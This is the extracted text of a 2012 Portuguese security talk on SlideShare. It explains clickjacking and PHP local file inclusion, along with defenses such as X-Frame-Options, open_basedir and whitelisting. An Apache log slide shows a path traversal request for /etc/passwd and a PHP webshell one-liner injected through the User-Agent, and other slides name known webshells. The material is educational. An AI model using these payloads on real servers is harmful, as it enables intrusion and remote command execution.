SlideShare uma empresa Scribd logo
1 de 40
Baixar para ler offline
“Hacking + PHP”


                      Erick	
  Tedeschi	
  
                      @ericktedeschi	
  



São	
  Paulo	
  28/02/2012	
  
Agenda
•  Clickjacking	
  da	
  mina	
  que	
  pira	
  
•  Local	
  File	
  Include	
  
Clickjacking
   Engenharia	
  Social	
  
Clickjacking
   Página	
  do	
  Link	
  
Clickjacking
  O	
  que	
  aconteceu?	
  
Clickjacking




Isso	
  aconteceu	
  nos	
  ‘basIdores’	
  
Clickjacking – como funciona?
   Como	
  a	
  víIma	
  vê	
  
                                                                   Como	
  o	
  atacante	
  vê	
  




                  Como	
  realmente	
  é!!!	
  (opacity:	
  50%)	
  
Clickjacking – como funciona?
Observações:	
  
-­‐  Link	
  “Inscrever”:	
  Posicionado	
  uIlizando	
  absolute	
  com	
  referência	
  nas	
  extremidades	
  do	
  browser	
  (le_	
  e	
  top	
  (x,y)).	
  
-­‐  Div	
  	
  que	
  contém	
  o	
  iframe	
  com	
  z-­‐index	
  10	
  garanIndo	
  que	
  ele	
  fique	
  no	
  topo	
  dos	
  outros	
  elementos	
  HTML	
  da	
  página	
  
-­‐  Opacity:	
  0.0	
  deixa	
  o	
  div	
  transparente.	
  
Clickjacking – como proteger?
	
  
	
  
	
  
	
  
	
  
Tá.	
  Como	
  eu	
  evito	
  que	
  meu	
  site	
  seja	
  renderizado	
  em	
  
um	
  iframe	
  de	
  um	
  site	
  malicioso?	
  
Clickjacking – como proteger?
UIlizando	
  o	
  cabeçalho	
  X-­‐Frame-­‐OpIons	
  
	
  
Ou	
  
	
  
UIlizando	
  “Frame	
  Killer”	
  ou	
  Frame	
  Breaking	
  Scripts	
  
	
  
Referências:	
  
hkps://www.owasp.org/index.php/Clickjacking	
  
hkp://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combaIng-­‐clickjacking-­‐with-­‐x-­‐frame-­‐opIons.aspx	
  


	
  	
  
Clickjacking – X-Frame-Options
Opções	
  do	
  cabeçalho	
  HTTP	
  X-­‐Frame-­‐OpIons:	
  
	
  
•  DENY:	
  O	
  browser	
  não	
  renderiza	
  a	
  página	
  dentro	
  de	
  iframe	
  
•  SAMEORIGIN:	
  O	
  browser	
  só	
  irá	
  renderizar	
  páginas	
  no	
  iframe	
  se	
  for	
  do	
  mesmo	
  
     domínio.	
  
•  ALLOW-­‐FROM	
  origin:	
  O	
  browser	
  só	
  irá	
  renderizar	
  páginas	
  no	
  iframe	
  se	
  for	
  da	
  
     origem	
  especificada	
  	
  (no	
  wildcards,	
  no	
  mulIple	
  origins).	
  
Clickjacking




               CompaIbilidade	
  
Clickjacking – Cliente
Local File Include
Local File Include
Local File Include – codigo original
Local File Include – codigo v1
Local File Include – codigo v1
Local File Include – codigo v1
Local File Include – codigo v2
Local File Include – codigo v2
Local File Include – codigo v2

            Tomano	
  c00llllll	
  
Local File Include
Execução de código malicioso
     •  Antes	
  vamos	
  ver	
  o	
  que	
  mais	
  
        podemos	
  fazer	
  com	
  o	
  LFI.	
  

     •  Onde	
  é	
  possível	
  escrever/alterar/
        manipular	
  como	
  um	
  ‘usuário’	
  em	
  
        um	
  browser?	
  
Local File Include
            Execução de código malicioso
Exemplo:	
  UIlizando	
  access_log	
  do	
  apache	
  
Normalmente	
  o	
  apache	
  loga	
  o	
  “User-­‐Agent”	
  do	
  
Browser	
  do	
  cliente,	
  essa	
  string	
  pode	
  ser	
  manipulada	
  
para	
  executar	
  código	
  na	
  aplicação	
  vulnerável.	
  
Local File Include
                    Execução de código malicioso
Abaixo	
  log	
  do	
  apache	
  com	
  código	
  malicioso	
  ‘injetado’	
  

 192.168.56.1	
  -­‐	
  -­‐	
  [28/Feb/2012:04:18:20	
  -­‐0300]	
  "GET	
  /?lang=..././..././..././etc/passwd%00	
  
 HTTP/1.1"	
  200	
  1612	
  "-­‐"	
  "Mozilla/5.0	
  (Macintosh;	
  Intel	
  Mac	
  OS	
  X	
  10.7;	
  rv:10.0.2)	
  Gecko/
 20100101	
  Firefox/10.0.2”	
  
 	
  
 192.168.56.1	
  -­‐	
  -­‐	
  [28/Feb/2012:05:25:19	
  -­‐0300]	
  "GET	
  /?lang=ptbr	
  HTTP/1.1"	
  200	
  865	
  "-­‐"	
  
 "Mozilla/5.0	
  (Macintosh;	
  Intel	
  Mac	
  OS	
  X	
  10.7;	
  rv:10.0.2)	
  Gecko/20100101	
  Firefox/10.0.2”	
  
 	
  
 192.168.56.1	
  -­‐	
  -­‐	
  [28/Feb/2012:05:30:28	
  -­‐0300]	
  "GET	
  /	
  HTTP/1.1"	
  200	
  7346	
  "-­‐"	
  "Mozilla/5.0	
  
 (Macintosh;	
  Intel	
  Mac	
  OS	
  X	
  10.7;	
  rv:10.0.2)	
  Gecko/20100101	
  Firefox/10.0.2”	
  
 	
  
 192.168.56.1	
  -­‐	
  -­‐	
  [28/Feb/2012:05:31:06	
  -­‐0300]	
  "GET	
  /?lang=ptbr	
  HTTP/1.1"	
  200	
  865	
  "-­‐"	
  
 "<?php	
  system($_GET['cmd']);	
  ?>"	
  
Local File Include
Execução de código malicioso
           Resultado	
  
Local File Include
Execução de código malicioso
Local File Include
Execução de código malicioso
Local File Include – c99shell
Local File Include – r57shell
Local File Include – Priv8
Local File Include




•  Tá..	
  Mas	
  como	
  resolve?	
  
Local File Include
Vamos	
  limitar	
  o	
  escopo	
  de	
  inclusão	
  com	
  open_basedir	
  
Local File Include

-­‐Validação	
  da	
  entrada	
  
-­‐Whitelist	
  
-­‐Validação	
  
-­‐Filtro+Validação	
  
Local File Include


    www.exploit-­‐db.org	
  
Local File Include
  hkp://packetstormsecurity.org	
  
Quer saber mais?



hkp://www.owasp.org	
  
Quer saber mais?
           Top 10 Web Apps Vulnerabilities
•    A1:	
  InjecIon	
  	
  
•    A2:	
  Cross-­‐Site	
  ScripIng	
  (XSS)	
  	
  
•    A3:	
  Broken	
  AuthenIcaIon	
  and	
  Session	
  Management	
  	
  
•    A4:	
  Insecure	
  Direct	
  Object	
  References	
  	
  
•    A5:	
  Cross-­‐Site	
  Request	
  Forgery	
  (CSRF)	
  	
  
•    A6:	
  Security	
  MisconfiguraIon	
  	
  
•    A7:	
  Insecure	
  Cryptographic	
  Storage	
  	
  
•    A8:	
  Failure	
  to	
  Restrict	
  URL	
  Access	
  	
  
•    A9:	
  Insufficient	
  Transport	
  Layer	
  ProtecIon	
  	
  
•    A10:	
  Unvalidated	
  Redirects	
  and	
  Forwards	
  	
  
Fim




Erick	
  Belluci	
  Tedeschi	
  
hkp://twiker.com/ericktedeschi	
  
hkp://oerick.com	
  
hkp://nordicosmc.com.br	
  
	
  
PHPub SP – Bora beber e networkar

Mais conteúdo relacionado

Semelhante a "Hacking+PHP"

Website security
Website securityWebsite security
Website securitythiagosenac
 
Aprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard BarrosAprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard BarrosRichard Barros
 
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...Mauro Risonho de Paula Assumpcao
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifactstonyrodrigues
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...Thiago Dieb
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2William Costa
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi... Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...Alexandro Silva
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasSegInfo
 
Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sitesDaskonet Dasko
 
DOMinando JavaScript
DOMinando JavaScriptDOMinando JavaScript
DOMinando JavaScriptThiago Poiani
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Presentta: usando Node.js na prática
Presentta: usando Node.js na práticaPresentta: usando Node.js na prática
Presentta: usando Node.js na práticaNando Vieira
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 

Semelhante a "Hacking+PHP" (20)

Minicurso Web. Front-end e HTML5 (parte 2)
Minicurso Web. Front-end e HTML5 (parte 2)Minicurso Web. Front-end e HTML5 (parte 2)
Minicurso Web. Front-end e HTML5 (parte 2)
 
Cross site request forgery
Cross site request forgeryCross site request forgery
Cross site request forgery
 
Website security
Website securityWebsite security
Website security
 
Aprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard BarrosAprendendo a criar plugins para o Wordpress - Richard Barros
Aprendendo a criar plugins para o Wordpress - Richard Barros
 
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
OWASP AppSec 2010 BRAZIL Information Extraction Art of Testing Network Periph...
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifacts
 
Computer Forensics
Computer ForensicsComputer Forensics
Computer Forensics
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi... Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
 
Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sites
 
Pentest conisli07
Pentest conisli07Pentest conisli07
Pentest conisli07
 
DOMinando JavaScript
DOMinando JavaScriptDOMinando JavaScript
DOMinando JavaScript
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Presentta: usando Node.js na prática
Presentta: usando Node.js na práticaPresentta: usando Node.js na prática
Presentta: usando Node.js na prática
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Browser Mobile - Firefox
Browser Mobile - FirefoxBrowser Mobile - Firefox
Browser Mobile - Firefox
 
Invasao_e_Correcao_em_Sites.pdf
Invasao_e_Correcao_em_Sites.pdfInvasao_e_Correcao_em_Sites.pdf
Invasao_e_Correcao_em_Sites.pdf
 
Internet e Web NÃO SÃO as mesmas coisas
Internet e Web NÃO SÃO as mesmas coisasInternet e Web NÃO SÃO as mesmas coisas
Internet e Web NÃO SÃO as mesmas coisas
 

Mais de Erick Belluci Tedeschi

Applying Security Controls on REST APIs
Applying Security Controls on REST APIsApplying Security Controls on REST APIs
Applying Security Controls on REST APIsErick Belluci Tedeschi
 
iMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressiMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressErick Belluci Tedeschi
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)Erick Belluci Tedeschi
 
PHPSC Conference 2010 - Desenvolvimento de Extensões PECL
PHPSC Conference 2010 - Desenvolvimento de Extensões PECLPHPSC Conference 2010 - Desenvolvimento de Extensões PECL
PHPSC Conference 2010 - Desenvolvimento de Extensões PECLErick Belluci Tedeschi
 

Mais de Erick Belluci Tedeschi (6)

Applying Security Controls on REST APIs
Applying Security Controls on REST APIsApplying Security Controls on REST APIs
Applying Security Controls on REST APIs
 
iMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPressiMasters Intercon Dev WordPress - Segurança em WordPress
iMasters Intercon Dev WordPress - Segurança em WordPress
 
7Masters - Two Step Verification
7Masters - Two Step Verification7Masters - Two Step Verification
7Masters - Two Step Verification
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
 
PHPSC Conference 2010 - Desenvolvimento de Extensões PECL
PHPSC Conference 2010 - Desenvolvimento de Extensões PECLPHPSC Conference 2010 - Desenvolvimento de Extensões PECL
PHPSC Conference 2010 - Desenvolvimento de Extensões PECL
 
Desenvolvimento de Extensões PECL
Desenvolvimento de Extensões PECLDesenvolvimento de Extensões PECL
Desenvolvimento de Extensões PECL
 

"Hacking+PHP"

  • 1. “Hacking + PHP” Erick  Tedeschi   @ericktedeschi   São  Paulo  28/02/2012  
  • 2. Agenda •  Clickjacking  da  mina  que  pira   •  Local  File  Include  
  • 3. Clickjacking Engenharia  Social  
  • 4. Clickjacking Página  do  Link  
  • 5. Clickjacking O  que  aconteceu?  
  • 6. Clickjacking Isso  aconteceu  nos  ‘basIdores’  
  • 7. Clickjacking – como funciona? Como  a  víIma  vê   Como  o  atacante  vê   Como  realmente  é!!!  (opacity:  50%)  
  • 8. Clickjacking – como funciona? Observações:   -­‐  Link  “Inscrever”:  Posicionado  uIlizando  absolute  com  referência  nas  extremidades  do  browser  (le_  e  top  (x,y)).   -­‐  Div    que  contém  o  iframe  com  z-­‐index  10  garanIndo  que  ele  fique  no  topo  dos  outros  elementos  HTML  da  página   -­‐  Opacity:  0.0  deixa  o  div  transparente.  
  • 9. Clickjacking – como proteger?           Tá.  Como  eu  evito  que  meu  site  seja  renderizado  em   um  iframe  de  um  site  malicioso?  
  • 10. Clickjacking – como proteger? UIlizando  o  cabeçalho  X-­‐Frame-­‐OpIons     Ou     UIlizando  “Frame  Killer”  ou  Frame  Breaking  Scripts     Referências:   hkps://www.owasp.org/index.php/Clickjacking   hkp://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combaIng-­‐clickjacking-­‐with-­‐x-­‐frame-­‐opIons.aspx      
  • 11. Clickjacking – X-Frame-Options Opções  do  cabeçalho  HTTP  X-­‐Frame-­‐OpIons:     •  DENY:  O  browser  não  renderiza  a  página  dentro  de  iframe   •  SAMEORIGIN:  O  browser  só  irá  renderizar  páginas  no  iframe  se  for  do  mesmo   domínio.   •  ALLOW-­‐FROM  origin:  O  browser  só  irá  renderizar  páginas  no  iframe  se  for  da   origem  especificada    (no  wildcards,  no  mulIple  origins).  
  • 12. Clickjacking CompaIbilidade  
  • 16. Local File Include – codigo original
  • 17. Local File Include – codigo v1
  • 18. Local File Include – codigo v1
  • 19. Local File Include – codigo v1
  • 20. Local File Include – codigo v2
  • 21. Local File Include – codigo v2
  • 22. Local File Include – codigo v2 Tomano  c00llllll  
  • 23. Local File Include Execução de código malicioso •  Antes  vamos  ver  o  que  mais   podemos  fazer  com  o  LFI.   •  Onde  é  possível  escrever/alterar/ manipular  como  um  ‘usuário’  em   um  browser?  
  • 24. Local File Include Execução de código malicioso Exemplo:  UIlizando  access_log  do  apache   Normalmente  o  apache  loga  o  “User-­‐Agent”  do   Browser  do  cliente,  essa  string  pode  ser  manipulada   para  executar  código  na  aplicação  vulnerável.  
  • 25. Local File Include Execução de código malicioso Abaixo  log  do  apache  com  código  malicioso  ‘injetado’   192.168.56.1  -­‐  -­‐  [28/Feb/2012:04:18:20  -­‐0300]  "GET  /?lang=..././..././..././etc/passwd%00   HTTP/1.1"  200  1612  "-­‐"  "Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.7;  rv:10.0.2)  Gecko/ 20100101  Firefox/10.0.2”     192.168.56.1  -­‐  -­‐  [28/Feb/2012:05:25:19  -­‐0300]  "GET  /?lang=ptbr  HTTP/1.1"  200  865  "-­‐"   "Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.7;  rv:10.0.2)  Gecko/20100101  Firefox/10.0.2”     192.168.56.1  -­‐  -­‐  [28/Feb/2012:05:30:28  -­‐0300]  "GET  /  HTTP/1.1"  200  7346  "-­‐"  "Mozilla/5.0   (Macintosh;  Intel  Mac  OS  X  10.7;  rv:10.0.2)  Gecko/20100101  Firefox/10.0.2”     192.168.56.1  -­‐  -­‐  [28/Feb/2012:05:31:06  -­‐0300]  "GET  /?lang=ptbr  HTTP/1.1"  200  865  "-­‐"   "<?php  system($_GET['cmd']);  ?>"  
  • 26. Local File Include Execução de código malicioso Resultado  
  • 27. Local File Include Execução de código malicioso
  • 28. Local File Include Execução de código malicioso
  • 29. Local File Include – c99shell
  • 30. Local File Include – r57shell
  • 31. Local File Include – Priv8
  • 32. Local File Include •  Tá..  Mas  como  resolve?  
  • 33. Local File Include Vamos  limitar  o  escopo  de  inclusão  com  open_basedir  
  • 34. Local File Include -­‐Validação  da  entrada   -­‐Whitelist   -­‐Validação   -­‐Filtro+Validação  
  • 35. Local File Include www.exploit-­‐db.org  
  • 36. Local File Include hkp://packetstormsecurity.org  
  • 38. Quer saber mais? Top 10 Web Apps Vulnerabilities •  A1:  InjecIon     •  A2:  Cross-­‐Site  ScripIng  (XSS)     •  A3:  Broken  AuthenIcaIon  and  Session  Management     •  A4:  Insecure  Direct  Object  References     •  A5:  Cross-­‐Site  Request  Forgery  (CSRF)     •  A6:  Security  MisconfiguraIon     •  A7:  Insecure  Cryptographic  Storage     •  A8:  Failure  to  Restrict  URL  Access     •  A9:  Insufficient  Transport  Layer  ProtecIon     •  A10:  Unvalidated  Redirects  and  Forwards    
  • 39. Fim Erick  Belluci  Tedeschi   hkp://twiker.com/ericktedeschi   hkp://oerick.com   hkp://nordicosmc.com.br    
  • 40. PHPub SP – Bora beber e networkar